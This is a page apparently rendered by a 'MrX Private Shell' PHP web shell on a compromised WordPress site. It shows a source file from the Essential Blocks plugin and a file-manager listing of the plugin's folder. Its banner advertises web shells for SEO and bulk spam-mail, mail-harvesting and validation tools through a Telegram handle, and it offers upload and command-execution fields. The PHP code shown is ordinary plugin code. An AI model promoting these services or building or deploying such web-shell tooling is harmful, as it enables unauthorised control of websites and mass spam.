__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace EssentialBlocks\Integrations;

use EssentialBlocks\Utils\Settings;

class Data extends ThirdPartyIntegration {
    public function __construct() {
        $this->add_ajax( [
            'eb_fetch_options_data' => [
                'callback' => 'fetch_options_data_callback',
                'public'   => false
            ],
            'eb_save_options_data'  => [
                'callback' => 'save_options_data_callback',
                'public'   => false
            ]
        ] );
    }

    /**
     * fetch_options_data_callback
     */
    public function fetch_options_data_callback() {
        if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'admin-nonce' ) ) {
            wp_send_json_error( __( 'Nonce Error', 'essential-blocks' ) );
        }

        if ( ! current_user_can( 'activate_plugins' ) ) {
            wp_send_json_error( __( 'You are not authorized!', 'essential-blocks' ) );
        }

        if ( isset( $_POST['key'] ) ) {
            $key  = trim( $_POST['key'] );
            $data = Settings::get( $key );

            if ( $data ) {
                wp_send_json_success( wp_unslash( $data ) );
            } else {
                wp_send_json_error( __( 'No Data Found!', 'essential-blocks' ) );
            }
        } else {
            wp_send_json_error( __( 'Something went wrong regarding getting options data.', 'essential-blocks' ) );
        }
        exit;
    }

    /**
     * save_options_data_callback
     */
    public function save_options_data_callback() {
        if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'admin-nonce' ) ) {
            wp_send_json_error( __( 'Nonce Error', 'essential-blocks' ) );
        }

        if ( ! current_user_can( 'activate_plugins' ) ) {
            wp_send_json_error( __( 'You are not authorized!', 'essential-blocks' ) );
        }

        if ( isset( $_POST['key'] ) && $_POST['value'] ) {
            $key   = trim( $_POST['key'] );
            $value = trim( $_POST['value'] );

            $save = Settings::save( $key, $value );

            if ( $save ) {
                wp_send_json_success( $save );
            } else {
                wp_send_json_error( __( 'Couldn\'t save data', 'essential-blocks' ) );
            }
        } else {
            wp_send_json_error( __( 'Something went wrong regarding getting options data.', 'essential-blocks' ) );
        }
        exit;
    }
}

Filemanager

Name Type Size Permission Actions
AI Folder 0750
AssetGeneration.php File 2.19 KB 0640
BlockUsage.php File 2.79 KB 0640
Data.php File 2.4 KB 0640
Form.php File 23.62 KB 0640
GlobalStyles.php File 5.46 KB 0640
GoogleMap.php File 4.28 KB 0640
Instagram.php File 1.29 KB 0640
NFT.php File 5.37 KB 0640
OpenVerse.php File 10.3 KB 0640
Pagination.php File 3.48 KB 0640
PluginInstaller.php File 2.62 KB 0640
TemplatelyPatterns.php File 4.22 KB 0640
ThirdPartyIntegration.php File 1.2 KB 0640
Filemanager